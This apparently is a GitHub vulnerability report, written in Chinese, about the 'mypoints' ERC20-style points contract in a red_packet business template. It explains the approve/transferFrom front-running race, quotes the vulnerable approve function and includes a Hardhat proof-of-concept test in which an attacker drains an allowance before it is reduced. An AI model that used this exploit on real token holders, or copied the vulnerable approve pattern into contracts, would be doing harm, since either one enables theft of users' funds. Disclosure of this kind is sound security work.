-
Notifications
You must be signed in to change notification settings - Fork 164
Open
Labels
Description
漏洞描述
在business_template/red_packet项目中,mypoints 是一个符合ERC20代币标准的积分代币合约,支持用户将自己的积分授权给其他用户使用,即用户A可以授权用户B直接使用指定数量的积分。该功能的核心是通过allows 变量记录用户之间的授权积分数量,其中缺省值代表授权数量为零。用户可以通过 approve 函数修改自己给其他用户授权的积分数量 allows。
正常情况:假设用户A拥有150个积分,用户A授权用户B 100个积分。用户A首先通过发布一笔调用 approve 函数的交易将自己对用户B的授权数量改为50个积分。然后用户B发布一笔调用 transferFrom 函数的交易转走用户A的50个积分。此时,用户A对用户B的授权数量会修改为0个积分。
攻击方法:假设用户A拥有150个积分,用户A授权用户B 100个积分。用户A同样通过发布一笔调用 approve 函数的交易将自己对用户B的授权数量改为50个积分。但是用户B(攻击者)监听到这笔交易,此时用户B发布一笔调用 transferFrom 函数的交易抢先在用户A发布的交易生效前转走用户A给自己授权的100个积分,此时用户A对用户B的授权数量改为0个积分。然后用户A的 approve 交易才生效,此时用户A对用户B的授权数量又被修改为50个积分。最终用户B又可以在用户A未经许可的情况下调用 transferFrom 函数转走用户A的50个积分。
漏洞代码片段
function approve(address _spender, uint256 _value) override external returns (bool success) {
success = false;
require(_value > 0, "_value must > 0");
require(address(0) != _spender, "_spender must a valid address");
require(balances[msg.sender] >= _value, "user's balance must enough");
allows[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
success = true;
return true;
}漏洞复现脚步
describe("testing mypoints", function (){
let mypoints;
let owner;
let userA;
let attacker;
// depoly mypoints contract before testing
beforeEach(async function(){
[owner, userA, attacker] = await ethers.getSigners();
const Mypoints = await ethers.getContractFactory("mypoints");
mypoints = await Mypoints.deploy("mypoints_name","mypoints_symbol");
await mypoints.connect(owner).mint(userA.address, 150);
await mypoints.connect(userA).approve(attacker.address, 100);
})
it("Should successfully attack", async function(){
console.log("before the attack");
console.log("balance of userA =", await mypoints.balanceOf(userA.address));
console.log("balance of attacker =", await mypoints.balanceOf(attacker.address));
console.log("allowance of userA to attacker =", await mypoints.allowance(userA.address, attacker.address));
// attacker steal 100 token from userA before userA invoking approve
await mypoints.connect(attacker).transferFrom(userA.address, attacker.address, 100);
await mypoints.connect(userA).approve(attacker.address, 50);
console.log("after the attack");
console.log("balance of userA =", await mypoints.balanceOf(userA.address));
console.log("balance of attacker =", await mypoints.balanceOf(attacker.address));
console.log("allowance of userA to attacker =", await mypoints.allowance(userA.address, attacker.address));
})
})